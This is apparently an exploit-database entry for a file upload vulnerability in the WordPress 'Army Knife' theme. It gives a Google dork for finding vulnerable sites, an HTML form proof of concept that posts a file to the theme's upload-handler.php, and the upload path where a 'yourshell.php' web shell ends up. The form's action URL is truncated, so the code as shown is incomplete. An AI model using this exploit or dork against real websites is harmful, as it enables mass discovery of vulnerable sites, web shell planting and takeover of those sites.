WordPress Army Knife CSRF File Upload Vulnerability

# Exploit Title: WordPress Army Knife CSRF File Upload Vulnerability
# Author: Bebyyers404
# Date: 11/09/2013
# Vendor Homepage: http://freelancewp.co
# Themes Link: http://freelancewp.com/wordpress-theme/army-knife/
# Infected File: upload-handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/armyknife
# Tested on : Windows/Linux
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# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/th...andler.php" method="post">
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

# File path:
http://127.0.0.1/wordpress/wp-content/uploads/[year]/[month]/yourshell.php